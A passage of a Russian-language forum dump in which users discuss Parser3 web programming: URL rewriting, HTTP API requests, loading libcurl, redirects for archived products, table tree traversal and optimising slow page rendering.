Было: ^if(^form:magic_page.match[admin]){\
Стало: ^if(def $form:magic_page && ^form:magic_page.match[admin]){\
\
Но сомневаюсь, что после этого все станет работать как положено. :)"
"76680","Да, если исправляю эту строчку, то вижу просто белый лист. Старый .htaccess, похоже, не найти. Каким образом этот параметр magic_page можно передать в htaccess?"
"76681","Пытаюсь, например, создать альбом\
http://api.yandex.ru/fotki/doc/operations-ref/albums-collection-create.xml\
\
Нужно отправить запрос на добавление нового альбома:\
[code]POST /api/users/alekna/albums/ HTTP/1.1\
Host: api-fotki.yandex.ru\
Content-Type: application/atom+xml; charset=utf-8; type=entry\
Authorization: OAuth eb1c55f...\
\
<entry xmlns=\"http://www.w3.org/2005/Atom\" xmlns:f=\"yandex:fotki\">\
  <title>Природа</title>\
  <summary>Фотографии природы с разных источников</summary>\
</entry>[/code]\
\
Использую класс http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.p\
\
Что я делаю:\
[code]$album_create[^pfCFile:load[text;$albums_list_href; \
	$.method[POST]\
	$.charset[utf-8] \
	$.timeout(10) \
	$.content-type[application/atom+xml]\
	$.headers[ \
		$.type[entry] \
		$.Authorization[OAuth $oauth_yandex_h.access_token] \
	]\
	$.body[\
		<entry xmlns=\"http://www.w3.org/2005/Atom\" xmlns:f=\"yandex:fotki\">\
			<title>Природа</title>\
			<summary>Фотографии природы с разных источников</summary>\
		</entry>\
	]\
]][/code]\
\
[color=\"#ff0000\"]Ошибка: HTTP response code said error[/color]\
\
Подскажите, пожалуйста, как правильно организовать такой запрос? Как разбирать ответы об ошибках (status)?"
"76682","... и посомотреть поле status ответа сервера.\
\
p.s.  В данном случае можно воспользоваться file:load вместо кюрла."
"76683","Спасибо. Ответ такой\
[code]415 Unsupported Media Type\
Заголовок Content-Type содержит тип, отличный от типа Atom Entry.[/code]\
\
[code]Пробую $.content-type[application/atom+xml^;type=entry][/code]\
\
Подскажите, если возможно, как задать правильно заголовок?\
\
Изначально пробовал file:load.\
\
В $.enctype[CONTENT-TYPE] задается application/x-www-form-urlencoded или multipart/form-data. Опять же как там передавать application/atom+xml?"
"76684","[code]\
  $.headers[\
    $.Content-Type[application/atom+xml^; charset=utf-8^; type=entry]\
    $.Authorization[...]\
  ]\
[/code]"
"76686","Это-то легко, &magic_page=<что угодно> в RewriteRule.\
\
Проблема правильно передать. А для этого надо разобраться в коде.\
По сути у вас программа, из которой удалена часть строк (правила\
из .htaccess), а вы хотите, чтобы она у вас \"сама собой\" заработала.\
\
Вариантов три - искать бекап, спросить авторов, разбираться в коде."
"76687","К сожалению, только третий вариант :) Разбираюсь в коде. Потихоньку восстанавливаю работу сайта через RewriteRule."
"76688","Последняя. 3.4.1. Система debian."
"76689","Хотел узнать, почему в $request:uri не передаётся #hash ???"
"76693","Здравствуйте уважаемые гуру и монстры парсера. Подскажите как решить следующую проблему:\
Есть интернет магазин в котором карточка товара выглядит следующим образом http://bt-sale.ru/built-in/Hobs/Independent_gas_hob_60cm/7H_PH_640_WH_RU_HA/ По причине смены модельных рядов иногда приходиться массировано убирать модели в архив, заметил что при смене модельных рядов сильно падает посещаемость, и появляется куча ошибок 404, для решения проблемы хочу организовать архив моделей. Подскажите можно ли средствами парсера переместить страницу в другой раздел не меняя адреса страницы и пути к ней? Может возможно передавать какой-то параметр в запросе типа архив или нет, и передавая этот же параметр обратно в случае прямого обращения к странице? Заранее спасибо всем ответившим."
"76694","Храните где то таблицу соответствий старый_адрес -- новый_адрес\
\
если пользователь пришел по \"старому\" урл выставляйте статус 301 с путем куда перенесли. \
\
[code]^if(старый адрес || модель в архиве){\
  $response:status(301)\
  $response:location[новый адрес модели]\
}\
[/code]\
Так и поисковики вас лучше поймут, со временем переиндексировав все редиректы на новые адреса"
"76695","«Архивность» — такое же свойство объекта, как название.\
С URL оно не связано, товар же при архивации не переименовывается, и плитой быть не перестаёт.\
\
Чтобы адреса не менялись — их не нужно менять.\
Пусть товары живут по старым адресам и просто не фигурируют среди актуальных."
"76697","Скачал libcurl.dll, положил туда же где parser3.exe - C:\\www\\cgi-bin\\\
\
Делаю:\
\
  ^curl:options[$.library[libcurl.dll]]\
  $file[^curl:load[...]]\
\
Получаю ошибку: \
load\
failed to load curl library libcurl.dll: can't open the module\
\
Пробовал прописывать полный путь, тоже самое:\
failed to load curl library C:\\www\\cgi-bin\\libcurl.dll: can't open the module\
\
В чем может быть причина?"
"76698","Спасибо, так наверное будет правильнее чем городить огород с сохранением урлов, опять же на странице по новому адресу можно поставить статус 304..."
"76699","[quote]\
«Архивность» — такое же свойство объекта, как название.\
С URL оно не связано, товар же при архивации не переименовывается, и плитой быть не перестаёт.\
\
Чтобы адреса не менялись — их не нужно менять.\
Пусть товары живут по старым адресам и просто не фигурируют среди актуальных.\
[/quote]\
Все так, но архив это отдельный раздел который фактически повторяет структуру сайта и на архивных страницах урл должен как-то отличаться что бы к нему можно было дойти..."
"76700","[quote]Все так, но архив это отдельный раздел который фактически повторяет структуру сайта и на архивных страницах урл должен как-то отличаться что бы к нему можно было дойти...[/quote]\
\
Вовсе необязательно.\
\
Возьмите за принцип: один товар — один URL.\
Пусть в архиве будет свой список, но адрес товара тот же самый."
"76701","Вы плодите дубликаты контента, что не есть хорошо.\
\
А 304 нужно отдавать не из-за переезда, а глядя на соответствующие заголовки (If-Modified-Since, If-None-Match), высылаемые клиентом и поддерживая подобную инвалидацию кэша."
"76702","Спасибо, версию обновил. Но теперь другая ошибка failed to load curl library\
\
Скаченный libcurl.dll положил туда же где лежит parser3.exe, в C:\\www\\cgi-bin\\\
\
Делаю:\
\
 ^curl:options[$.library[libcurl.dll]]\
 $file[^curl:load[...]]\
\
Получаю ошибку: \
load\
failed to load curl library libcurl.dll: can't open the module\
\
Пробовал прописывать полный путь, тоже самое:\
failed to load curl library C:\\www\\cgi-bin\\libcurl.dll: can't open the module\
\
В чем может быть причина?"
"76703","У меня была такая-же проблема.\
Попробуйте http://curl.haxx.se/download.html отсюда разные версии.\
Если система x64, попробуйте для x32\
А вообще, если libcurl.dll рядом с parser3.exe лежит, то путь необязательно прописывать."
"76706","Если все-таки верите в ЧПУ, то подумайте про такой сценарий: приходит клиент из поисковика на адрес /products/books/kashtanka, видит, что ее нет в продаже (на странице так и написано :) и хочет посмотреть какие еще книги у нас есть: стирает последний элемент адреса и получает желаемое. Теперь ваш вариант: /archive/books/kashtanka, стираем последний сегмент и получаем еще большее количество книг, которые вы не продаете. Крайне сомневаюсь, что посетители ждут такое поведение от сайта. \
\
Поэтому лучше оставить продукт на месте (пусть посетители приходят с других сайтов и поисковиков по ссылкам), но выбросить его с индексных страниц. А если уж очень хочется показывать старые товары, то сделать страничку с индексом архива.\
\
p.s. А еще, система редиректов (триста первых, а не триста четвертых, как вам уже писали) не даст ничего полезного, но потребует дополнительной поддержки, поэтому стоит десять раз подумать стоит ли ее делать."
"76707","[url=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html\"]HTTP 304[/url] не должен выдавать содержимого.\
\
[quote]The 304 response MUST NOT contain a message-body, and thus is always terminated by the first empty line after the header fields.[/quote]\
\
Просто так, ориентируясь на некую «проиндексированность» его отдавать нельзя — клиенты будут получать пустую страницу.\
Вы выдумываете собственные механизмы кэширования, которые не только не полезны, но и вредны."
"76708","В итоге скачал этот архив:\
http://www.paehl.com/open_source/?download=curl_DLL_ONLY.7z\
и попробовал разные версии из него. Подошел x32 nossl, хотя система x64. )"
"76709","Так и должно быть. Парсер под Windows 32-х битный (в \"скачать\" это называется Win32, хотя наверное будет правильнее назвать более полно), поэтому он может грузить только 32-х битные dll."
"76710","В случае такого кода:\
[code]	$file[^file::load[text;https://minfraud.maxmind.com/app/ipauth_http;\
		$.form[\
			$.l[license]\
			$.ipaddr[$fraud.IP_Adresse]\
		]\
	]][/code]\
\
Я получаю такую ошибку: invalid option passed\
\
Если код изменить на такой:\
[code]$file[^file::load[text;https://minfraud.maxmind.com/app/ipauth_http?l=Der72misi8iC&ipaddr=$fraud.IP_Adresse]][/code]\
\
то ошибка получается такая: read failed: Invalid argument (22), actual filename 'https://minfraud.maxmind.com/app/ipauth_http_3Fl=license&ipaddr=151.33.167.114'\
\
Подскажите, пожалуйста, в что я делаю не так?\
\
Заранее спасибо!"
"76712","Есть [code]$uri[$request:uri][/code].\
\
Мы находимся странице /a/a1/a1-1/.\
\
Как, используя [code]$uri[/code], определить, что мы внутри папки /a/?\
\
[code]^if(что?){}{}[/code]\
\
:( Спасибо."
"76715","^sections.menu{^if($sections.uri eq $uri){$textpath[$sections.textfile]\
$getit[^file::load[text;$textpath]]\
^untaint[as-is]{$getit.text}\
}{}}"
"76716","В auto.p:\
[code]^sections.menu{^if($sections.uri eq $uri){$textpath[$sections.textfile]\
$getit[^file::load[text;$textpath]]\
^untaint[as-is]{$getit.text}\
}{}}[/code]\
\
В вытащенном текстовом файле:\
\
[code]<h3>бла-бла</h3>\
<p>бла-бла-бла</p>\
^catalogue.menu{бум}[/code]\
\
В браузере html переработан, parser - нет."
"76717","[code]\
^process{\
    ^untaint[as-is]{\
        $getit.text\
    }\
}[/code]"
"76719","Я умею парсер на уровне \"уроков\" из документации и подобных задач, но вот на обработке файлов я уже порву моск. Сейчас строю инет-магазин.\
\
Пока, в работе, он делается на нескольких разных конфигах (tab-delimited txt). В одном каталожик, в другом урлы и так далее.\
\
Если я его доделаю в таком виде, [b]можно ли потом будет руками привлеченного стороннего человека[/b] (предпоагаю, что у умельца это займет часик-другой от силы) [b]сделать следующее:[/b]\
\
1. У администрации есть 1 каталог в экселе.\
2. Она загружает его в специально обученную папочку на сервере.\
3. Заходит на секретную страницу домен.ру/фигак/ и нажимает там Одну Большую Кнопку. При этом парсер забирает XLS-файл, несколько раз его мусолит - и обновляет все свои cfg-файлы?"
"76720","Делали подобное. Только займет это... кхм... не часик, и работать будет, скорее всего, только со старыми форматами экселя. Вот csv или xml - более реализуемый вариант."
"76723","Ну, на данный момент есть 2 cfg по делу - понятно, что будет больше.\
\
Первый - каталог всех товаров. В нем колонки\
\"id\" - пока не знаю, зачем,\
\"ok\" - выключатель товара, 1/0,\
\"категория\" товара,\
\"подкатегория\" товара,\
\"производитель\" (кириллицей или латиницей),\
\"производитель_en\", в том числе для ссылки на [b]домен/производитель/[/b],\
\"модель\",\
\"фото1\",\
\"фото2\",\
\"фото3\",\
\"описание\",\
\"цена\".\
Позже колонок прибавится, судя по всему. Файл используется для извлечения списка классов, списков подклассов, списка производителей, а также для получения описания моделей.\
\
***\
\
Еще есть служебный cfg, содержащий две колонки:\
\"класс\"\
\"url класса\" - \
для получения ссылок типа [b]домен/штаны/[/b]."
"76724","Ну, да, по моим представлениям, нужен будет движок, который анализировал бы предложенный XLS, при обнаружении там совсем новых продуктов сам создавал бы папки /производителя/, /категории/, /производителя/товара/ и так далее, клал в них index.html (он у меня шаблонный для всех категорий), а также освежал два имеющихся конфига.\
\
А все тексты у меня выполнены отдельными txt-файлами (в строках каталог-конфиге просто ссылка на файл), которые тоже хорошо бы обновлять ;)."
"76725","[code]Id	arc	name\
1		Вася\
2		Петя\
3	1	Вася пупкин\
4	3	Вася Иванович Пупкин\
5	2	Петя Сидоров[/code]\
\
\
должно быть так\
1 Вася\
3 Вася пупкин\
4 Вася Иванович Пупкин\
\
аналогично с петей"
"76726","[code]@main[]\
$t[^table::create{Id	arc	name\
1		Вася\
2		Петя\
3	1	Вася пупкин\
4	3	Вася Иванович Пупкин\
5	2	Петя Сидоров}]\
\
^getChild[1]\
\
@getChild[id][sub]\
$sub[^t.select($t.Id==$id)]\
$sub.Id $sub.name\
^while($sub){\
	$sub[^t.select($t.arc==$sub.Id)]\
	$sub.Id $sub.name\
}[/code]"
"76727","так но, мне известен последний вася\
\
т.е. я знаю что он Вася Иванович Пупкин\
а кем он был до этого незнаю\
\
\
выбирать надо из ^getChild[4]\
т.е. в обратном порядке"
"76728","[code]@getParent[id][sub]\
$sub[^t.select($t.Id==$id)]\
$sub.Id $sub.name\
^while(def $sub.arc){\
	$sub[^t.select($t.Id==$sub.arc)]\
	$sub.Id $sub.name\
}[/code]"
"76729","в данном случае лучше использовать locate, а ещё лучше -- [url=/examples/trees/]хэш[/url]."
"76730","но для такой таблицы -- разницы нет.\
да и принцип понять через select легче )"
"76731","ну таблица такая тут в качестве примера...\
в иделае будет около1000-5000 но расти будет соотвествнно и больше...\
\
не думаю что за 10тыс. перевалит\
\
а с хешами ли локейт как ?"
"76732","Разберетесь со статьей и будет вам счастье. Заодно мелкую денормализацию сделаете — добавите поле thread_id, что сильно упростит некоторые манипуляции с деревом."
"76733","[quote]да и принцип понять через select легче[/quote]\
не согласен.\
\
тут мы _ищем_ одну запись по каким-то критериям.\
поиск в таблице в лоб -- locate, а никак не select. select -- для отбора _нескольких_ записей по заданным условиям.\
\
ещё один поиск (существенно более быстрый) -- hash lookup. да, для этого требуется перевести таблицу в хэш, что делается одной несложной инструкцией."
"76734","т.е. если забыть о том, что эту задачу решать select-ами плохо, приведённый код нужно упростить:\
\
[code]\
@getParent[id][sub]\
^while($id){\
	$sub[^t.select($t.Id==$id)]\
	$sub.Id $sub.name\
	$id($sub.Id)\
}\
[/code]"
"76735","Добрый день!\
\
Подскажите как передавать через file::load POST параметры содержащие угловые скобки.\
Приведу конкретный пример\
\
[code]\
^try{\
$UnisenderJson[^file::load[text;http://api.unisender.com/ru/api/subscribe;\
	$.timeout(10)\
	$.method[POST]\
	$.form[ \
	  $.format[json]\
	  $.api_key[$UnisenderApiKey]\
	  $.list_ids[$lists]\
#///  ХЗ как передать эти параметры :(\
#	  $.fields[email][$email]\
#	  $.fields[Name][$name]\
#	  $.fields[phone][$phone]\
#///  ХЗ как передать эти параметры :(\
	  $.tags[$tag]\
	  $.double_optin[3]\
	]\
]]\
}{\
   ^if(def $exception){ \
      $exception.handled(true) \
   } \
} \
[/code]\
\
Задача необходима для взаимодействия с API unisender\
Вот описание этого конкретного метода http://www.unisender.com/ru/help/api/subscribe.html\
\
Методом GET все работает, вот пример запроса\
http://api.unisender.com/ru/api/subscribe?format=json&api_key=KEY&list_ids=555777\
&fields[email]=test@example.org&fields[Name]=John+Doe\
\
но как то хотелось POST использовать"
"76737","про экранирование информация есть в документации"
"76738","Так $.fields^[email^][$email] не работает\
Это я первым делом проверил.\
После чего пробовал так $.{fields[email]}[$email] и так $.{fields^[email^]}[$email]  =)"
"76743","ДД!\
\
Кратко:\
Подскажите как заставить Parser выдавать данные во время генерации.\
\
Дано: \
небольшая БД (100К-200К записей) с 2К-3К актуальных данных (15полей; объем минимально 1,5Кб максимально 5Кб; т.е. размер страницы 500Кб-1,3Мб) которые надо выдать на одну страницу.\
Время генерации страницы (просто селект и форматирование для вывода) занимает около 6сек, и только потом страничка отдается.\
\
Вопрос:\
 Как заставить парсер начать СРАЗУ выдавать данные, с генерацией следующих выдаваемых данных \"на лету\""
"76744","... Парсер выдает данные в браузер только после полной обработки результата и связвно это с необходимостью сделать таинты, сформировать заголовки и пр. вещи."
"76745","как обойти? (возможно с применением других технологий?)\
\
а кто - как выкрутился?\
или не было ни у кого таких дебилизмов?"
"76746","http://www.parser.ru/forum/?id=48999\
\
у меня по такому принципу веб-интерфейс к pngout реализован - скрипт вызывает pngout.exe в цикле с разными параметрами, постепенно отдавая в браузер отчёт о проделанной работе, на больших картинках может так медитировать оочень долго.\
\
6 секунд ерунда, главное вначале сразу отправить что-нибудь браузеру, типо намекнуть \"подожди, счас всё будет\", тогда он ждёт дольше %)\
\
Ну и убедиться что какое-нибудь гадство типо прокси не буферизирует ответы, иначе может не прокатить."
"76747","Из простого - можно отдавать страницу с лоадером и подгружать куски аяксом. Не?"
"76748","[quote]Из простого - можно отдавать страницу с лоадером и подгружать куски аяксом. Не?[/quote]\
\
а смысл тогда в парсере? :)"
"76749","придется уходить с парсера в пхп :( а очень не хотелось"
"76750","... только учтите, что выдача полного ответа браузеру — это современная тенденция (Парсер другие фреймворки на десяток лет опередил :). Джанго, Рельсы и многие PHP-фреймворки работают именно так. Во многих случаях между вашим скриптом и клиентом будт стоять всякие буфферизирующие фронтенды, что поломает любые «выверты». Для простых случаев в Парсере есть console:line, но использовать его для серьезных случаев, на мой взгляд, не стоит.\
\
Поэтому вместо смены языка лучше подумать над архитектурой: вероятно можно уменьшить время генерации страницы за счет денормализации, кеширования и пр. или использовать аякс и подгружать данные частями. Фактически вы столкнулись с задаче, которая не решается в лоб, но ничего страшного в этом нет."
"76751","Сделайте формирование ответа фоновой задачей, и просто обновляйте страницу, пока не будет готов вывод и после этого его отдайте клиенту.\
\
+ получится сразу кешь, который можно потом отдать готовы. Я не думаю что у вас так часто меняются данные в БД, а при повторных условиях поиска скорость будет на лицо.\
\
Человеку будет намного приятнее видеть сообщение, в котором написано что идет формирование ответа, чем постепенно загружаемую страницу."
"76752","[quote]Сделайте формирование ответа фоновой задачей, и просто обновляйте страницу, пока не будет готов вывод и после этого его отдайте клиенту.[/quote]\
даже не представляю как это реализовать (фоновая задача).\
\
[quote]+ получится сразу кешь, который можно потом отдать готовы. Я не думаю что у вас так часто меняются данные в БД, а при повторных условиях поиска скорость будет на лицо.[/quote]\
около 2К-3К новых в сутки, причем НЕ равномерно\
\
[quote]Человеку будет намного приятнее видеть сообщение, в котором написано что идет формирование ответа, чем постепенно загружаемую страницу.[/quote]\
заказчик таки хочет видеть первые данные СРАЗУ(а не через 4секунды)\
объясняя тем что пока просматривает первые строки - остальное доезжает....."
"76753","Получаем сначала первые пару сотен, а потом аяксом подгружаем остальные, тоже по паре сотен.\
Да и вообще маразм какой-то, что он сможет увидеть в этих данных, как их можно проанализировать просто просмотром."
"76754","[quote]Получаем сначала первые пару сотен, а потом аяксом подгружаем остальные, тоже по паре сотен.[/quote]\
угу, уже пробуем (спс)\
[quote]\
Да и вообще маразм какой-то, что он сможет увидеть в этих данных, как их можно проанализировать просто просмотром.[/quote]\
я сам был удивлен,и Вы не поверите - видно много и достаточно внятно"
"76755","... посмотреть почему так долго происходит генерация страницы. Если большая часть времени тратится на запрос, то надо копать в сторону базы — наверняка есть резервы для оптимизации."
"76756","[quote]... посмотреть почему так долго происходит генерация страницы. Если большая часть времени тратится на запрос, то надо копать в сторону базы — наверняка есть резервы для оптимизации.[/quote]\
таблица кроме ссылок на значения (для фильтрации/поиска/етц) содержит в себе и сами значения.\
поэтому там простая выборка без джоинов, поля по которым идут сортировки - проиндексированы\
\
есть вариант с ресурсами сервера :) но php скрипт начинает выдавать данные \"сразу\", и заказчик тычет в это пальцем :("
"76758","[quote]Вы делаете предположения, а надо померять![/quote]\
\
подскажите инструмент меряния для парсера\
// ничего кроме как расставить по всему коду ^date::now[] не приходит"
"76759","http://www.parser.ru/docs/lang/?statusrusage.htm"
"76760","Добрый день!\
\
Туплю что-то.\
\
Есть задача грузить с сайта(-ов) данные сразу в таблицу, это легко реализовал - \"пририсовал\" названия столбцов и далее через табуляцию выдал.\
\
Но! есть сайт(-ы) с Basic Authefication и надо бы проверять что код возврата 401 и трэба подложить user/password . Наперёд неизвестно, где есть авторизация а где нет...\
\
Как можно в таком виде загрузки как $my_load[^table::load[${url}...]]\
глянуть status и повторить запрос уже с учётными данными?"
"76761","Ловить [url=\"http://www.parser.ru/docs/lang/?parserexceptions.htm\"]исключение[/url] и посылать аутентификационные данные."
"76763","[quote]Вы сам SQL запрос в консоли сервера выполните и посмотрите сколько он выполняется.[/quote]\
\
[2012-05-07 02:19:42.824964] IP: start 0.006907 0 \
[2012-05-07 02:19:42.825239] IP: sql_start 0.007183 0 \
[2012-05-07 02:19:42.868817] IP: sql_done 0.019542 0 \
[2012-05-07 02:19:42.868901] IP: print_start 0.019627 0 \
[2012-05-07 02:19:47.180358] IP: print_done 3.22976 0.327772 \
[2012-05-07 02:19:47.190965] IP: done 3.23044 0.335625"
"76765","а вот вроде ничего тяжеловесного и нету\
\
[code]   \
^rusage[print_start]\
\
 <table id=\"Print\">	\
 <thead>\
  <tr class=\"caption\">\
   <td>MCR\
   <td colspan=\"2\">Pbl\
   <td colspan=\"2\">Lt\
   <td>&plusmn^; pct\
   <td>Ld\
   <td>Dr\
   <td>Cr\
   <td>LY\
   <td>CN\
   <td>Cm\
   <td>Ant\
   <td>Sl\
   <td>Msg<br>age\
 </thead>\
 <tbody>\
 ^if($mData && $mData is table){ \
  ^mData.menu{ $Even(1-$Even)\
	$dLY[^cdate::create[$mData.LY]]\
	$dCN[^cdate::create[$mData.CN]]\
   <tr class=\"^if($Even){Even}{Odd}\">\
   <td title=\"ID:$mData.ID ^#0D ^__dbe_print[$mData._editor;_editor] ^#0D ^__dbe_print[$mData._edited;_edited]\">$mData.Is\
   <td title=\"$mData.PCHint\">$mData.PC\
   <td title=\"$mData.PSHint\">$mData.PS\
   <td class=\"r\">^Lib:numberFormat[$mData.Lt] \
   <td class=\"l\">$mData.LtUnit \
   <td class=\"c\" ^if(def $mData.Mn){$lPct($mData.Lt * $mData.Mn \\ 100) $lMin(${mData.Lt}-$lPct) $lMax(${mData.Lt}+$lPct) title=\"^Lib:numberFormat[$lMin] - ^Lib:numberFormat[$lMax]\"}>${mData.Mn}\
   <td title=\"$mData.LdHint\">$mData.Ld\
   <td title=\"$mData.DrHint\">$mData.Dr\
   <td class=\"nowrap\" title=\"$mData.CrDescription\">$mData.Cr\
   ^if($dLY.month == $dCN.month && $dLY.year == $dCN.year && $mData.LC ne \"S\"){\
    <td class=\"c\" colspan=\"2\"> ^cdate:print[$mData.LY;%h %d;$cdate:es_locale] / ^cdate:print[$mData.CN;%d;$cdate:es_locale]\
   }(def $mData.LC && $mData.LC eq \"S\"){\
    <td class=\"c\" colspan=\"2\" title=\"^cdate:print[$mData.LY;%h %d;$cdate:es_locale] / ^cdate:print[$mData.CN;%h %d;$cdate:es_locale]\"> !\
   }{\
    <td class=\"c\"> ^cdate:print[$mData.LY;%h %d;$cdate:es_locale]\
    <td class=\"c\"> ^cdate:print[$mData.CN;%h %d;$cdate:es_locale]\
   }\
   <td class=\"r\">$mData.Cm\
   <td>&nbsp^;\
   <td class=\"c\">^__dbe_print[$mData.Sl;bool]\
   <td class=\"c\" title=\"^__dbe_print[$mData.Published;datetime]\">^__published[$mData.Published]\
  }\
 }\
 </tbody>\
 </table>\
\
   ^rusage[print_done]\
[/code]\
\
\
^__dbe_print - процедура форматирования в зависимости от параметра (ничего не вычисляет)\
^__published : \
[code]@__published[lDateTime][locals;result]\
 $dNow[^date::now[]]\
 $dDate[^date::create[$lDateTime]]\
\
 $ago($dNow - $dDate)\
 $period[d]\
\
 ^if($ago < 1 ){\
   $ago(($dNow - $dDate)*24*60*60 \\1)\
   $period[s]\
   ^if($ago > 60){\
    $ago($ago \\ 60)\
    $period[m]\
   }\
   ^if($ago > 60){\
    $ago($ago \\ 60)\
    $period[h]\
   }\
 }{ $ago($ago \\ 1)}\
\
\
 $result[^ago.format[%02u] $period]\
[/code]"
"76767","[code]@__dbe_print[lValue;lType][locals]\
	^switch[$lType]{\
	^case[pass]{*****}\
	^case[bool;booln]{ ^if(^lValue.int(0)==1){&#8730^;^rem{&#9679^;}^rem{&#9632^;}}{^rem{&#9672^;&#9633^;}}}\
	^case[date]{ ^try{^cdate:print[$lValue;%d/%m/%Y] }{	$exception.handled(true) [$lValue] } }\
	^case[month]{^try{^cdate:print[$lValue;%h %Y]    }{	$exception.handled(true) [$lValue] } }\
	^case[datetime;_edited]{ ^try{^cdate:print[$lValue;%d/%m/%Y %H:%M:%S] }{ $exception.handled(true) [$lValue] } }\
	^case[SQL]{ ^try{ $lSQL[^dbeFIELDS.param.split[:;lh]] ^db{$lD[^string:sql{select $lSQL.1 from $lSQL.2 where $lSQL.0 = _utf8'$lValue'}[$.limit(1) $.default[-] ]]} ^untaint{$lD} }{$exception.handled(true) ^use[eExceptor.p] ^exceptor_write[$exception;$stack;$env:REDIRECT_AUTHENTICATE_ID]  [$lValue] }}\
	\
	^case[DEFAULT]{$lValue}\
	}\
#__dbe_print[/code]"
"76768","Версия парсера - надеюсь не меньше 3.4.0? Сколько примерно строк в mData? Имеет смысл покомментировать часть кода (например все с вызовами __dbe_print и \"делением отрезка пополам\" понять - оно равномерно тормозит или есть узкое место. Удивляет, что у вас даже system usage ~0.3 sec. То ли это работа с датами, то ли что-то еще..."
"76769","[quote]Версия парсера - надеюсь не меньше 3.4.0? [/quote]\
Parser/3.4.1 (compiled on i386-unknown-freebsd8.1)\
\
стоит на:\
FreeBSD 9.0-RELEASE\
\
[quote]Сколько примерно строк в mData?[/quote] \
1.5K - 2K\
\
[quote]Имеет смысл покомментировать часть кода (например все с вызовами __dbe_print и \"делением отрезка пополам\" понять - оно равномерно тормозит или есть узкое место. Удивляет, что у вас даже system usage ~0.3 sec. То ли это работа с датами, то ли что-то еще...[/quote]"
"76770","а то вы каждый раз текущую дату узнаете +)"
"76771","Скорее всего основная проблема — форматирование дат с кучей регэкспов и повторами. :)"
"76772","спс, не увидел. а вообще ^date::now[] - жрет много ресурсов? :)"
"76773","$dLY[^cdate::create[$mData.LY]]\
$dCN[^cdate::create[$mData.CN]]\
Понюхать 1500 файлов, не кисло так.\
Может стоит фоновую задачу в кроне сделать, которая бы это делала допустим раз в час, если это так важно."
"76774","[quote]Скорее всего основная проблема — форматирование дат с кучей регэкспов и повторами. :)[/quote]\
\
и как их форматировать без регэкспов?"
"76776","Чисто спортивный интерес )"
"76777","[quote]Может стоит фоновую задачу в кроне сделать, которая бы это делала допустим раз в час, если это так важно.[/quote]\
\
\"это делала\" - это _что_ делала? форматировала даты?\
\
там в систему льются данные из разных источников чуть ли не в реал тайме, в произвольных количествах через произвольные промежутки времени"
"76778","я не использовал бы cdate если бы date умело меньше 01.01.1970"
"76779","Туплю чего-то)"
"76781","[2012-05-07 13:33:20.566628] IP: start 0.007316 0 \
[2012-05-07 13:33:20.566946] IP: sql_start 0.007635 \
[2012-05-07 13:33:20.611335] IP: sql_done 0.020614 0 \
[2012-05-07 13:33:20.611420] IP: print_start 0.020701 0 \
[2012-05-07 13:33:23.725229] IP: print_done 2.91034 0.220839 \
[2012-05-07 13:33:23.735727] IP: done 2.91084 0.228615"
"76783","не судьба - формат вывода определяется по условиям"
"76784","0,4 секунды -- не тот прирост который хотелось бы \
\
сейчас буду попробовать выводить пустую таблицу и заполнять её через ajax"
"76785","И вообще вытяните его в свой код. Уберете кучу лишний итераций\
оставьте только преобразование в дату. ТАм еще куча проверок, которые вам вообще не нужны."
"76786","что-то вроде ^(\\d){4}-(\\d){2}.+$"
"76787","пробовал но им нужны буквы а не цифры :)"
"76788","... без класса cdate. Ну и повтопы уберите: если надо выводить одно и тоже значение несколько раз, то поместите его во временную переменную."
"76789","[code]$month[^hash::create[\
	$.1[Январь]\
	...\
	$.12[Декабрь]\
]]\
$month.[$var.month][/code]"
"76791","а я дату не могу сделать без этого класса\
1950-05-25 - не съедается date::create"
"76792","а я дату не могу сделать без этого класса\
1950-05-25 - не съедается date::create"
"76793","... и сделайте простенькую функцию, которая разбирает дату и складывает части в хешик. Короче, решайте задачу максимально-простыми средствами."
"76796","1) вывод LY CN зависит от: в одном ли месяце период или в разных, если доп условие то что-то ещё :) там предполагается ещё какие то действия\
\
2) надо вычислить \"возраст\" запихивания данных"
"76797","зато мне надо считать периоды"
"76799","[code]@getData[inputData]\
	$result[^hash::create[\
		$.year(^inputData.mid[0;4])\
		$.month(^inputData.mid[5;2])\
	]][/code]\
\
[code]$dLY[^getData[$mData.LY]]\
$dCN[^getData[$mData.CN]][/code]\
\
И еще надо бы провести опыт, что будет быстрее записать в переменную полученные значения или получить их 2 раза +)"
"76800","На метод, который я предложил выше и мы посмотрим на сколько снизится время выполнения, возможно вы получите приемлемый результат. После этого в классе cdate можно произвести оптимизацию и отключить например юлианское преобразование и всякие проверки. Если вы уверены что у вас приходят валидные данные."
"76801","вначале вам надо найти тормозящее место.\
\
первый кандидат -- cdate.\
его надо попробовать убрать в любом виде: разбирать даты match-ем и выводить прямо поля полученной таблички без букв (причем использовать объект класса regex, созданный вне цикла).\
\
также перенести на SQL все вычисления, которые делаются в @__published (а вначале, для проверки, просто убрать его вызов).\
\
P.S. это выглядит забавно: $ago($ago \\ 1)"
"76802","[quote]также перенести на SQL все вычисления, которые делаются в @__published (а вначале, для проверки, просто убрать его вызов).[/quote]\
\
ээммм.... подскАжете? \
чёт не соображу как там можно вычислить....\
\
[quote]это выглядит забавно: $ago($ago \\ 1)[/quote]\
я так подумал что ^math:round будет дольше. не?"
"76803","[quote]ээммм.... подскАжете? \
чёт не соображу как там можно вычислить....[/quote]\
\
TIMESTAMPDIFF(DAY,Published,NOW())\
TIMESTAMPDIFF(HOUR,Published,NOW())\
TIMESTAMPDIFF(MINUTE,Published,NOW())\
TIMESTAMPDIFF(SECOND,Published,NOW())\
\
в вашем случае достаточно будет последнего, остальное можно и вычислять. в этом случае по крайней мере не будете лишнюю дату создавать (now вы ведь уже вынесли из цикла?)."
"76804","там делается куча лишнего. например, в момент создания объекта уже происходит печать во внутреннюю переменную.\
если вы в конструкторе закомментируете вызов advancedfields, то работа ускориться в 3 раза (я замерил).\
\
далее, вы делаете:\
$dLY[^cdate::create[$mData.LY]]\
а чуть ниже:\
^cdate:print[$mData.LY;%h %d;$cdate:es_locale]\
второй метод ещё раз выполняет create (который очень долгий).\
у вас в процесе каждой итерации делается 2 create + 2 print + 2 print в dbe_print, т.е. объект cdate создаётся 6 раз, хотя можно обойтись двумя созданиями.\
\
т.е. надо подправить класс, чтобы он в качестве параметра конструктору принимал также объект типа cdate и в этом случае просто копировал поля, а потом печать делать так:\
^cdate:print[$dLY;%h %d;$cdate:es_locale]\
\
как вариант: создавайте объект не так:\
$dLY[^cdate::create[$mData.LY]]\
а так:\
